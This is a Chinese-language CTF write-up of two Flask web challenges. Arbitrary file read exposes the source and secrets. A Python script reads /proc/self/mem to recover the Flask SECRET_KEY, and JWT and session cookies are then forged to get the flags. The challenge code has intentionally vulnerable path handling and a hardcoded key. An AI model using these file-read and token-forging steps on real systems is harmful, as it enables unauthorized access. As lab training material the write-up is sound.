得到服务端代码如下:

import mimetypes
import os
import subprocess
from flask import Flask, make_response, request, render_template
import jwt
import logging

app = Flask(__name__)

SECRET_KEY = "I_LIKE_Aoyama_Nanami"
logging.basicConfig(filename='error.log', level=logging.ERROR)


@app.route('/')
def index():
    token = request.cookies.get('auth')
    if not token:
        token = jwt.encode({
            'username': 'guest',
        }, SECRET_KEY, algorithm='HS256')
    
    response = make_response(render_template('index.html'))

    if not request.cookies.get('auth'):
        response.set_cookie('auth', token, httponly=True, samesite='Lax')  

    return response

@app.route('/download', methods=['GET'])
def download():
    token = request.cookies.get('auth')
    if token:
        try:
            data = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
            username = data['username']
        except Exception as e:
            return str(e)

    filename = request.args.get('filename', '1.jpg')
    filepath = os.path.join('static/images', filename)
    if username == 'admin' and filename == "yuanshen?qidong!":
        try:
            output = subprocess.check_output(['/readflag'])
            return output.decode('utf-8')
        except subprocess.CalledProcessError as e:
            return "Error executing /readflag: " + str(e)
    if os.path.exists(filepath):
        mime_type, encoding = mimetypes.guess_type(filepath)
        if mime_type is None:
            mime_type = 'application/octet-stream'
        
        with open(filepath, "rb") as file:
            response = make_response(file.read())
            response.headers.set('Content-Type', mime_type)
            response.headers.set('Content-Disposition', f'attachment; filename={os.path.basename(filepath)}')
            return response
    else:
        return "File not found.", 404
@app.errorhandler(500)
def internal_server_error(error):
    app.logger.error('Server Error: %s', (error))
    return "好像有什么错误喵!", 500

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80, debug=False)

分析代码后发现只有满足以下两个条件才能调用 /readflag subprocess 来读取flag:

  • Cookies auth 经过 jwt 解析后包含 {"username":"admin"} 字段
  • filename 的 GET 传参为 yuanshen?qidong!

2. JWT (Json Web Tokens)

从 F12 开发人员工具中找到当前 Cookies auth 的值

image-38.png

auth = eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.6tqEhsR0SEHG-GL7hEar5Ewi2dQbGSEz-3NoPrZxi1Y

2.1 JWT 的组成

image-39.png

JWT 通常是一个很长的字符串,中间用两个 . 分隔成三个部分,依次为:

  • Header(头部)
  • Payload(负载)
  • Signature(签名)

该字符串应形如:Header.Payload.Signature

下面将分别解释三个部分的内容及其作用:

2.1.1 Header

Header 部分是一个 JSON 对象,用于描述 JWT 的元数据,它通常是这样的:

{
  "alg": "HS256",
  "typ": "JWT"
}

其中:

  • alg 属性表示 Signature 的加密算法,默认是 HMAC SHA256 (写成 HS256

  • typ 属性表示 token 的类型,JWT 类型统一写为 JWT

最后,将上面的 JSON 对象使用 Base64URL 算法(详见后文)转成字符串

2.1.2 Payload

Payload 部分也是一个 JSON 对象,用来存放实际需要传递的数据

由于该部分可以通过 Base64URL 进行解密并被读取,此处一般不存放密文

这个 JSON 对象最后也要使用 Base64URL 算法(详见后文)转成字符串

2.1.3 Signature

Signature 部分是对前两部分的签名,防止数据在传输过程中被篡改

签名由 Header 里面指定的签名算法(默认是 HMAC SHA256 )和 设置好的密钥( secret_key )产生:

HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret_key)

最后,把 Header、Payload、Signature 三个部分拼成一个字符串,

每个部分之间用 . 分隔,就形成了一个有效的 JSON Web Token

2.1.4 Base64URL

前面提到,将 Header 和 Payload 串型化的算法是 Base64URL

该算法跟 Base64 算法基本类似,但有一些不同:

  • 省略通过 Base64 算法得到的 =
  • 将通过 Base64 算法得到的 + 替换成 -/ 替换成 _

这是因为 JWT 作为一个 token ,有时会被应用于 URL 中(例如 /?token=xxx),

通过 Base64 算法得到的三个字符 ( +/= ) ,在 URL 里面有特殊含义,所以需要进行省略或替换

2.2 JWT的伪造

使用 jwt.io 解析

image-40.png

分析代码后可以发现 Cookies authSECRET_KEYI_LIKE_Aoyama_Nanami

jwt.io 中使用 SECRET_KEY 伪造 {"username":"admin"} 字段并重新加密,

得到伪造后的 auth 如下:

image-41.png

auth = eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.mJHHgw5KDOeM6Fu5r7KXYUb-chM02YBqsqmTWMAdDR0

3. Payload

修改 auth 为伪造后的值并访问 /download?filename=yuanshen?qidong!,得到 flag

image-42.png

Spirit{6bb3de28-1cc8-4af3-babe-43593039f366}

你真的喜欢鸣濑白羽吗

题目描述:

不是真的喜欢鸣濑白羽(?)的人拿不到flag

打开页面后发现又是一个图库管理下载系统 (?)

image-43.png

但是点击 Download 后跳转至 /download?filename=1.jpg

发现图片下载不下来,显示如下:

image-44.png

猜测服务端代码对文件读取方式进行了修改

1. 任意文件读取漏洞

与上一题相同,/download?filename=xxxx 处仍存在任意文件读取漏洞

访问 /download?filename=/proc/self/cmdline , 内容如下:

python /app/I_LIKE_Nanami.py

根据服务端代码路径访问 /download?filename=/app/I_LIKE_Nanami.py,

得到服务端代码如下:

import os
import secrets
import subprocess
from flask import Flask, make_response, request, render_template, session
app = Flask(__name__)
random_string = "I_LIKE_"+secrets.token_hex(16)+"_Aoyama_Nanami"
app.config['SECRET_KEY'] = random_string

@app.route('/')
def index():
    if 'username' not in session:
        session['username'] = 'guest'
    response = make_response(render_template('index.html'))
    return response

@app.route('/download', methods=['GET'])
def download():
    username = session.get('username')
    filename = request.args.get('filename', '1.jpg')
    offset = int(request.args.get('offset', "0"))
    length = int(request.args.get('length', "0"))
    if username == 'admin' and filename == "xingtie?qidong!":
        try: 
            output = subprocess.check_output(['/readflag'])
            return output.decode('utf-8')
        except subprocess.CalledProcessError as e:
            return "Error executing /readflag: " + str(e)
    filepath = os.path.join('static/images', filename)
    if os.path.exists(filepath):
        if offset == 0 and length == 0:
            return open(filepath, "rb").read()
        else:
            with open(filepath, 'rb') as f:
                f.seek(offset)
                data = f.read(length)
            return data
    else:
        return "File not found.", 404
        
@app.errorhandler(500)
def internal_server_error(error):
    app.logger.error('Server Error: %s', (error))
    return "好像有什么错误喵!", 500
    
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80, debug=False)

分析代码后发现只有满足以下两个条件才能调用 /readflag subprocess 来读取flag:

  • python flask session 包含 {"username":"admin"} 字段
  • filename 的 GET 传参为 xingtie?qidong!

2. Python Flask Session

从 F12 开发人员工具中找到当前 Cookies session 的值

image-45.png

session = eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZRRgdA.WGZwA7J0tKtifRUgBXyh5DmPmzs

2.1 Session 的组成

Python Flask Session 通常是一个很长的字符串,中间用两个 . 分隔成三个部分(如果使用了zlib compress,则开头会多出一个 .,该部分归属于Session Data内),依次为:

  • Session Data( Session 数据 )
  • Timestamp( 时间戳 )
  • Cryptographic Hash( 签名 )

该字符串应形如:Session Data.Timestamp.Cryptographic Hash

下面将分别解释三个部分的内容及其作用:

2.1.1 Session Data

Session Data 部分是一个 JSON 对象,用来存放实际需要传递的数据

Session 在生成时会根据使用 zlib compress 能否减少 Session Data 部分的长度

来选择性地使用 zlib compress ( 使用的标志是Session Data 以 . 开头 )

由于该部分可以通过 Base64URL 进行解密并被读取,此处一般不存放密文

这个 JSON 对象最后也要使用 Base64URL 算法(详见后文)转成字符串

2.1.2 Timestamp

Timestamp 部分通常由 Session 生成时间的时间戳构成

该时间戳最后会被转化为字节形式并使用 Base64URL 算法(详见后文)进行加密

2.1.3 Cryptograhpic Hash

Python Flask Session 在生成 Session 的校验签名时

会先对 secret_key 进行操作

首先对 secret_key 进行一次 sha1 加密

并用 "cookie-session" salt 来 update 加密后的 secert_key

接着将 Session Data + sep + Timestamp 使用处理完成的 secret_key 进行一次 sha1 加密

最后将得到的数据使用 Base64URL 算法(详见后文)进行加密

2.1.4 Base64URL

前面提到,将 Session Data、Timestamp 和 Cryptograhpic Hash 串型化的算法是 Base64URL

该算法跟 Base64 算法基本类似,但有一些不同:

  • 省略通过 Base64 算法得到的 =
  • 将通过 Base64 算法得到的 + 替换成 -/ 替换成 _

这是因为 Session 作为一个 token ,有时会被应用于 URL 中(例如 /?token=xxx),

通过 Base64 算法得到的三个字符 ( +/= ) ,在 URL 里面有特殊含义,所以需要进行省略或替换

2.2 Session 的伪造

由于服务端代码使用了包含随机字符的 random_string 作为 SECRET_KEY,

而 Session 的 Cryptographic Hash 需要使用 SECRET_KEY 作为密钥,

因此在伪造 Session 前我们需要先利用任意文件读取漏洞获取 SECRET_KEY

由于 Python Flask 在运行时会将 SECRET_KEY 写入内存中,

我们可以利用任意文件读取漏洞读取内存来获得 SECRET_KEY

Python 内存读取脚本如下

import requests
import re

url = (SpiritCTF Server URL with port)

rw = []

map_list = requests.get(f"{url}/download?filename=/proc/self/maps")
map_list = map_list.text.split("\n")
for i in map_list:
    map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) r", i)
    if map_addr:
        start = int(map_addr.group(1), 16)
        end = int(map_addr.group(2), 16)
        rw.append((start, end - start))

for k in rw:
    res = requests.get(f"{url}/download?filename=/proc/self/mem&offset={k[0]}&length={k[1]}")
    try:
        secret_key = re.findall("I_LIKE_[a-f0-9]{32}_Aoyama_Nanami", res.text)
        if secret_key:
            print("SECRET_KEY = \"" + secret_key[0] + "\"")
    except:
        pass

运行脚本后得到:

SECRET_KEY = "I_LIKE_f9d2e4914fec5f9f26fad0a0e4da3afe_Aoyama_Nanami"

使用 flask-unsign 工具对 Session 进行伪造并签名

flask-unsign --sign --cookie "{'username': 'admin'}" --secret 'I_LIKE_f9d2e4914fec5f9f26fad0a0e4da3afe_Aoyama_Nanami'

得到 Session 如下:

eyJ1c2VybmFtZSI6ImFkbWluIn0.ZRRqXA.6kG8cNrvnCI73R2nxAF8iOSA6Ko

修改Cookies Session 并访问 /download?filename=xingtie?qidong!,得到 flag

image-46.png

Spirit{7d05af5f-202d-4578-8833-f598ad794b48}